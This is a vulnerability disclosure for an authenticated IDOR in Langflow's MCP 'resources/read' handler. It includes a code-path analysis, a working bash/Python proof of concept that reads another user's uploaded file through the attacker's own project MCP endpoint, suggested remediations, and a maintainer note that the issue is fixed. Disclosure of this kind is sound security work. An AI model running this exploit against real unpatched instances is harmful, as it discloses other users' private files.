### Summary
Langflow's project-scoped MCP transport authenticates the caller for the `project_id` in the connection URL, but the subsequent `resources/read` operation does not authorize the resource URI being requested. An authenticated user can connect to their own project-scoped MCP endpoint and supply a crafted file-download URI that points to another user's flow-backed file. The server then reads and returns the victim file without verifying ownership or project membership.
This is a cross-user authorization bypass (`userA -> userB`) that allows arbitrary read access to files stored under other users' flow namespaces.
### Details
Verified against local checkout:
- Repository: `langflow-ai/langflow`
- Verified on release tag: `v1.8.3`
- Commit: `08bf98404cfd7737fde57a2588785766cdf1b42e`
- Earliest stable release known to contain the vulnerable code path: `v1.6.8`
Relevant code path:
1. `src/backend/base/langflow/api/v1/mcp_projects.py:147-193`
`verify_project_auth_conditional()` authenticates the caller and checks access only to the `project_id` in the MCP transport URL.
2. `src/backend/base/langflow/api/v1/mcp_projects.py:1238-1241`
The project-scoped MCP server registers `read_resource()` and forwards the attacker-controlled URI directly to `handle_read_resource(uri=uri)`.
3. `src/backend/base/langflow/api/v1/mcp_utils.py:163-182`
`handle_read_resource()` parses the last two URI path segments as `flow_id` and `filename`, then directly calls:
```python
storage_service.get_file(flow_id=flow_id, file_name=filename)
```
No check ties the supplied `flow_id` back to the authenticated user or the current project.
4. `src/backend/base/langflow/services/storage/local.py:141-149`
`src/backend/base/langflow/services/storage/s3.py:200-217`
The storage layer performs a raw namespace read and is not authorization-aware.
The result is that authorization is enforced at MCP connection time, but not at resource-read time. Once an attacker has access to any project-scoped MCP endpoint they own, they can read another user's flow-backed file by passing a victim-controlled URI.
This issue is also easier to exploit because the global MCP helpers expose cross-user discovery data:
- `src/backend/base/langflow/api/v1/mcp_utils.py:102-121`
`handle_list_resources(project_id=None)` lists files for all flows.
- `src/backend/base/langflow/api/v1/mcp_utils.py:333-380`
`handle_list_tools(project_id=None)` queries all flows and includes flow IDs in tool metadata.
That global enumeration is not required for exploitation, but it makes obtaining victim identifiers much easier.
### PoC
Preconditions:
- Langflow is running locally with authentication enabled.
- Two separate users exist on the same instance.
- The victim has a flow with an uploaded file.
- The attacker has access to any project they own.
Verify the issue locally by starting Langflow with:
```bash
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'
set -a
source .env.verify
set +a
export LANGFLOW_CONFIG_DIR="$PWD/.langflow-verify"
uv run python - <<'PY'
from langflow.main import setup_app
import uvicorn
app = setup_app(backend_only=True)
uvicorn.run(app, host="127.0.0.1", port=7860, log_level="debug")
PY
```
Then, in a second terminal, the following script creates a victim user, an attacker user, a victim flow-backed file, and demonstrates that:
- the normal file download route is blocked for the attacker (`404`)
- the same file is readable through the attacker's own project-scoped MCP connection
```bash
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'
set -euo pipefail
export BASE='http://127.0.0.1:7860'
export PASS='Passw0rd!Passw0rd!'
export VICTIM_USER="
[email protected]"
export ATTACKER_USER="
[email protected]"
curl -sS -X POST "$BASE/api/v1/users/" \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$VICTIM_USER\",\"password\":\"$PASS\"}" >/dev/null
curl -sS -X POST "$BASE/api/v1/users/" \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$ATTACKER_USER\",\"password\":\"$PASS\"}" >/dev/null
export VICTIM_TOKEN=$(
curl -sS -X POST "$BASE/api/v1/login" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "username=$VICTIM_USER" \
--data-urlencode "password=$PASS" | jq -r '.access_token'
)
export ATTACKER_TOKEN=$(
curl -sS -X POST "$BASE/api/v1/login" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "username=$ATTACKER_USER" \
--data-urlencode "password=$PASS" | jq -r '.access_token'
)
export VICTIM_PROJECT_ID=$(
curl -sS -X POST "$BASE/api/v1/projects/" \
-H "Authorization: Bearer $VICTIM_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"victim-project"}' | jq -r '.id'
)
export ATTACKER_PROJECT_ID=$(
curl -sS -X POST "$BASE/api/v1/projects/" \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"attacker-project"}' | jq -r '.id'
)
export VICTIM_FLOW_ID=$(
curl -sS -X POST "$BASE/api/v1/flows/" \
-H "Authorization: Bearer $VICTIM_TOKEN" \
-H 'Content-Type: application/json' \
-d "{\"name\":\"victim-flow\",\"data\":{\"nodes\":[],\"edges\":[]},\"folder_id\":\"$VICTIM_PROJECT_ID\"}" \
| jq -r '.id'
)
printf 'cross-project-read-proof\n' > /tmp/secret.txt
export UPLOAD_JSON=$(
curl -sS -X POST "$BASE/api/v1/files/upload/$VICTIM_FLOW_ID" \
-H "Authorization: Bearer $VICTIM_TOKEN" \
-F "file=@/tmp/secret.txt"
)
export VICTIM_FILE=$(
printf '%s' "$UPLOAD_JSON" | jq -r '.file_path | split("/") | last'
)
export VICTIM_URI="$BASE/api/v1/files/download/$VICTIM_FLOW_ID/$VICTIM_FILE"
export ATTACKER_API_KEY=$(
curl -sS -X POST "$BASE/api/v1/api_key/" \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"attacker-mcp-key"}' | jq -r '.api_key'
)
export DIRECT_STATUS=$(
curl -sS -o /dev/null -w '%{http_code}' \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
"$VICTIM_URI"
)
export MCP_READ_OUTPUT=$(
uv run python - <<'PY'
import asyncio
import base64
import os
import httpx
from mcp import ClientSession
from mcp.client.streamable_http import streamable_http_client
base = os.environ["BASE"]
project_id = os.environ["ATTACKER_PROJECT_ID"]
api_key = os.environ["ATTACKER_API_KEY"]
victim_uri = os.environ["VICTIM_URI"]
url = f"{base}/api/v1/mcp/project/{project_id}/streamable"
async def main():
async with httpx.AsyncClient(headers={"x-api-key": api_key}, timeout=30.0) as client:
async with streamable_http_client(url, http_client=client) as (read_stream, write_stream, _):
async with ClientSession(read_stream, write_stream) as session:
await session.initialize()
result = await session.read_resource(victim_uri)
blob = result.contents[0].blob
print(base64.b64decode(base64.b64decode(blob)).decode().strip())
asyncio.run(main())
PY
)
echo "Direct /files/download as attacker -> $DIRECT_STATUS"
echo "Project-scoped MCP resources/read -> $MCP_READ_OUTPUT"
```
Expected output:
```text
Direct /files/download as attacker -> 404
Project-scoped MCP resources/read -> cross-project-read-proof
```
Observed server logs during verification:
```text
GET /api/v1/files/download/... 404 Not Found
POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK
POST /api/v1/mcp/project/<attacker-project-id>/streamable 202 Accepted
POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK
```
### Impact
This is an authenticated IDOR / arbitrary file read issue in the MCP layer.
Any authenticated Langflow user who can access at least one project-scoped MCP endpoint can read files belonging to other users by supplying a victim file URI to `resources/read`.
Practical impact includes:
- Cross-user disclosure of uploaded documents, CSV files, JSON files, prompts, and other flow-backed artifacts
- Unauthorized access to sensitive business data stored in flow namespaces
- Easier exploitation when global MCP helpers reveal other users' flow IDs and file names
### Suggested Remediations
1. Authorize `resources/read` against the authenticated context before calling storage.
Resolve `flow_id` to a database object and require both:
`flow.user_id == current_user.id`
and, for project-scoped transports, `flow.folder_id == current_project_id`.
2. Stop trusting arbitrary file-download URIs as resource identifiers.
Instead, return opaque server-generated resource IDs from `resources/list` and resolve them server-side to an already authorized object.
3. Scope global MCP enumeration helpers to the authenticated user.
`handle_list_resources()` and `handle_list_tools()` should not query all flows when `project_id=None`; they should return only flows owned by the current user, or require elevated privileges for broader discovery.
### Fix Status (Maintainer Triage Update — 2026-09-22)
This report is accurate. The vulnerable code path described above (missing
ownership check in `handle_read_resource()`) has since been fixed.
**Corrected affected version range:** `>= 1.6.8, <= 1.9.0` (not `<= 1.8.3` —
confirmed still vulnerable through `v1.9.0`; the fix landed with the `v1.9.1`
release, not later).
**Fixed in:** `v1.9.1` (GitHub Release published 2026-04-24), via PR
[#12818 — "fix(mcp): close path traversal + cross-user disclosure (PVR0754098)"](https://github.com/langflow-ai/langflow/pull/12818).
- Backport commit on `release-1.9.1`: `f0fd436fe9829192ee550e6cb46961a01dd37032`
- Corresponding commit on `main`: `b8fe970493fd5fb2e1fc71dfccc79f90b76058fa`
The fix:
- `handle_read_resource()` now requires an authenticated user context and
resolves the namespace segment of the URI to a `Flow` row scoped to
`Flow.user_id == current_user.id`, additionally filtering on
`Flow.folder_id == project_id` for project-scoped MCP servers
(`src/backend/base/langflow/api/v1/mcp_utils.py`).
- Rejects filenames containing `..`, `/`, or `\` as defense-in-depth against
path traversal, and applies the same containment check to the storage
layer's `get_file`/`get_file_stream`/`delete_file`/`get_file_size`
(`local.py`/`s3.py`, both in `langflow` and `lfx`).
- `handle_list_resources()` / `handle_list_tools()` are now scoped to
`current_user.id` on the global (non-project) MCP server, closing the
cross-user enumeration this report also flagged.
Verified independently against `langflow-ai/langflow` @ `89444c3bb5`
(release-1.11.0 branch, current as of 2026-09-22): the fix is present, and
the regression suite (`src/backend/tests/unit/api/v1/test_mcp_utils.py`,
21/21 passing) includes `test_handle_read_resource_denies_other_users_flow`,
which reproduces this report's exact cross-user scenario and asserts it now
raises `ValueError("... access denied")`.